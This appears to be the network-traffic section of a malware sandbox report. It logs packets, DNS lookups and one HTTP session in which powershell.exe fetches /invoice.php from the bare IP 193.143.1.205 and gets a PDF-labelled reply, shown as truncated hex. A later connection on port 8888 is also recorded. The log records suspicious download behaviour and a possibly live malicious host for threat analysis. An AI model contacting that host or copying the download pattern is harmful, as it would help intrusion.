Jan 11, 2025 03:48:08.469993114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470046997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470052958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470086098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470092058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470108032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470146894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470170975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470170975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470170975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470170975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470200062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470206976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470221043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470227957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470247984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470278978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470278978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470279932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470285892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470316887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470323086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470334053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470340967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470388889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470388889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470408916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470433950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470446110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470489979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470506907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470513105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470524073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470549107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470594883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470602036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470638037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470644951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470644951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470668077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470674992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470695972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470700026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470722914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470782042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470788956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470801115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470813036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470824957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470839024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470868111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.470890999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470938921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470944881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470957994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470973015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.470989943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471004963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471018076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471045017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471050978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471081972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471091032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471092939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471092939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471136093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471158028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471179962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471184969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471235037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471246004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471285105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471291065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471292019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471292019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471303940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471352100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471379042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471385956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471395016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471404076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471431971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471436977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471437931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471445084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.471450090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.471488953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.479280949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479305983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479331970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479336977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479357958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479365110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479370117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479372978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.479379892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.479391098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.479428053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.479428053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518337011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518367052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518379927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518385887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518400908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518420935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518434048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518450975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518460035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518465996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518465996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518496990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518518925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518526077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518536091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518553972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518569946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518570900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518620014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518624067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518635988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518646955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518657923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518677950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518685102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518690109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518696070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518734932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518735886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518739939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518750906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518755913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518786907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518836975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518855095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518862963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518886089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518893003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518901110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518917084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.518944979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518959045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.518959999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.519021988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.519136906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519144058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519155979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519160986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519167900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519191027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519205093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519217014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519222975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519226074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.519226074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.519238949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519294977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.519299984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.519397020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.556792974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556803942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556830883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556838989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556844950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556855917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556874037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556946039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556947947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.556952953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.556967974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557022095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557022095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557028055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557034969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557039976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557046890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557080030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557084084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557084084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557099104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557145119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557145119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557177067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557244062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557252884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557295084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557301044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557306051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557323933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557348013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557352066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557358027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557369947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557384014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557411909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557425976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557431936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557444096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557450056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557516098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557528019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557542086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557553053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557558060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557571888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557576895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557579041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557624102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557631016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557631969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557631969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557713985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557723045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557739019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557748079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557801008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557801008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557908058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557914019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557919979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557930946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557941914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557948112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557952881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557959080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.557961941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.557976961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558007002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.558007002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.558034897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558042049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558090925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.558219910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558228016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558240891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558258057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558264971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558273077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558278084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.558288097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.558362007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.739089012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:09.592127085 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:09.597007036 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:09.597153902 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:09.597353935 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:09.602135897 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:10.369344950 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:10.420505047 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:11.693943024 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:48:17.480915070 CET	62226	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:48:17.480915070 CET	192.168.2.8	1.1.1.1	0xb071	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:48:17.501373053 CET	1.1.1.1	192.168.2.8	0xb071	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:48:18.227468014 CET	1.1.1.1	192.168.2.8	0x5dcc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:48:18.227468014 CET	1.1.1.1	192.168.2.8	0x5dcc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	4920	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:48:07.039985895 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:48:07.795022964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:48:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:48:07.795042992 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:48:07.795058012 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:48:07.795074940 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:48:07.795089006 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 03:48:07.795100927 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
